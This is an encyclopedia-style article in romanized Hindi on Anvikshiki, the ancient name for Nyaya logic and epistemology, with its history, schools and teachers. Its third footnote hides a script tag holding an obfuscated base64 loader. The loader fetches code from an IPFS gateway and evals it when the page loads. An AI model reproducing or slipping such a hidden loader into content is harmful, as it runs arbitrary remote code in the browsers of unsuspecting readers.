आन्वीक्षिकी
anvikshiki nyayashastr ka prachin abhidhan. prachin kal mean anvikshiki vicharashastr ya darshan ki samany sanjna thi aur yah trayi (vedatrayi), varta (arthashastr), dandaniti (rajaniti) ke sath chaturth vidya ke roop mean pratishthit thi[1] jisaka upayog lok ke vyavahar nirvah ke lie avashyak mana jata tha. kalaantar mean is shabd ka prayog keval nyayashastr ke lie sankuchit kar diya gaya. vatsyayan ke nyayabhashy ke anusar anviksha dvara pravritt hone ke karan hi is vidya ki sanjna 'anvikshiki' p d gee. anviksha ke do arth haian: (1) pratyaksh tatha agam par ashrit anuman tatha (2) pratyaksh aur shabdapraman ki sahayata se avagat hone vale vishayoan ka anu (pashchath) eekshan (paryalochan, arthat jnan), arthat anumiti. nyayashastr ka pradhan lakshy to hai pramanoan ke dvara artho ka parikshan,[2] parantu in pramanoan mean bhi anuman ka mahatvapoorn sthan hai aur is anuman dvara pravritt hone ke karan tark pradhan 'anvikshiki' ka prayog nyayabhashyakar vatsyayan muni ne nyayadarshan ke lie hi upayukt mana hai.[3]
doosari dhara mean pratyaksh, anuman, upaman tatha shabd, in char pramanoan ka ganbhir adhyayan tatha vishleshan mukhy uddeshy tha. phalat: is pranali ko 'pramanamimaansatmak'[4] kahate haian. isaka pravartan gangesh upadhyay (12vian shatabdi) ne apane prakhyat granth 'tatvachiantamani'mean kiya. 'prachin nyay' (pratham dhara) mean padarthoan ki mimaansa mukhy vishay hai, 'navyanyay' (dvitiy dhara) mean pramanoan ka vishleshan mukhy lakshy hai. navyanyay ka uday mithila mean hua, parantu isaka abhyuday bangal mean sanpann hua. madhyayugin bauddh tarkikoan ke sath ghor sangharsh hone se khandan mandan ke dvara yah shastr vikasit hota gaya. prachin nyay ke mukhy achary haian gautam, vatsyayan, udyotakar, vachaspati mishr, jayant bhatt, bha sarvajn tatha udayanachary. navyanyay ke achary haian gangesh upadhyay, pakshadhar mishr, raghunath shiromani, mathuranath, jagadish bhattachary tatha gadadhar bhattachary. in donoan dharaoan mean madhy bauddh nyay tatha jain nyay ke abhyuday ka kal ata hai. bauddh naiyayikoan mean vasuvandhu, dinhnag, dharmakirti ke nam pramukh haian.[5]
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tika tippani aur sandarbh
- ↑ anvikshiki trayi varta dandanitishch shashvati. vidya hyetashchatasrastu lokasansritihetav:
- ↑ pramanairarthaparikshanan nyay:-nyayabhashy 1.1.1
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 382 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ epistomolajikal
- ↑ san.gran.-da. vidyabhooshan: histri aauv lajik, kalakatta, 1925
sanbandhit lekh
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varnamala kramanusar lekh khoj
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